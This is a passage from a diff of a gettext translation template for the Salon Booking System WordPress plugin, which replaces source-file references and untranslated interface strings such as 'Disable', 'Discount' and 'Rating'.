build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:99, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:99, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:99\n-msgid \"Done !\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:458\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fresource.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:458\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fresource.php:16\n+msgid \"Disable\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:90, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:90, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:90\n-msgid \"Please set a new date and time\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:229\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:229\n+msgid \"Disable \\\"Choose an assistant for me\\\"\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:118, views\u002Fmetabox\u002Fbooking.php:184, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:118, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:184, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:118, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:184, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:118, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:184, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:118, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:184, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:118, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:184\n-msgid \"Client\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:180\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:180\n+msgid \"Disable advanced rules\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:123, views\u002Fmetabox\u002Fbooking.php:570, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:123, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:570, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:123, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:570, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:123, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:455, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:123, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:564, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:123, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:570\n-msgid \"Date\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:201\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:201\n+msgid \"Disable all Google fonts according to the standard GDPR.\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:137, views\u002Fmetabox\u002Fbooking.php:637, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:137, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:637, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:137, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:637, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:137, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:522, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:137, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:631, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:137, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:637\n-msgid \"Totals\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:156\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:156\n+msgid \"Disable bootstrap assets\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:142, views\u002Fmetabox\u002Fbooking.php:756, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:142, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:756, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:142, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:756, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:142, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:639, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:142, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:755, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:142, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:756\n-msgid \"Notes\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:453\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:453\n+msgid \"Disable countdown on booking completion\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:148, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:148, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:148, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:148, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:148, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:148\n-msgid \"SOAP Notes\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:198\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:198\n+msgid \"Disable Google fonts\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:159, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:159, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:159, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:159, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:159, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:159\n-msgid \"List view on\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:294\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:294\n+msgid \"Disable new user welcome email\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:160, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:160, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:160, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:160, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:160, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:160\n-msgid \"List view off\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:16\n+msgid \"Disable reschedule\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:190, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:190, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:190, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:190, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:190, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:190\n-msgid \"Search for a user\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:259\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:259\n+msgid \"Disable the first email sent to the customer\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:193, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:193, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:193, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:193, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:193, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:193\n-msgid \"Just start typing a name, email, or phone number in the search field to quickly find the user you need!\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:352\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:34\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:352\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:34\n+msgid \"Disabled\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:198, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:198, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:198, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:198, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:198, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:198\n-msgid \"Open customer file\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:214\n+msgid \"disabled\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:202, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:202, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:202, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:202, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:202, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:202\n-msgid \"Reset\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:135\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:414\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:730\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:82\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_before_total_amount.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:234\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:135\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:414\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:730\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:82\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_before_total_amount.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:234\n+msgid \"Discount\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:326, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:326, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:326, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:326, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:326, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:326\n-msgid \"Fidelity score\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:53\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:53\n+msgid \"Discount amoount\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:338, src\u002FSLN\u002FAction\u002FInitComments.php:32, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:338, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FInitComments.php:32, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:338, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:338, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:338, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:338, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitComments.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FInitComments.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FInitComments.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FInitComments.php:32\n-msgid \"Rating\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:123\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:123\n+msgid \"DISCOUNT AMOUNT\"\n msgstr \"\"\n \n-#. translators: 1: customer name, 2: date time\n-#: views\u002Fmetabox\u002Fbooking.php:408, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:408, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:408, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:408, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:408, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:408\n-msgid \"Rated by %1$s on %2$s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:909\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:909\n+msgid \"Discount amount\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:358, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:358, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:358, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:358, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:358, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:358\n-msgid \"Not rated yet\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_mail_summary_details.php:8\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_mail_summary_details.php:8\n+msgid \"DISCOUNT APPLIED\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:362, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:362, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:362, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:362, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:362, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:362\n-msgid \"Upgrade to PRO edition to use this feature\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_booking_total_amount_row.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_booking_total_amount_row.php:7\n+msgid \"Discount applied\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:363, views\u002Fmetabox\u002Fbooking.php:360, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:363, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:360, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:363, 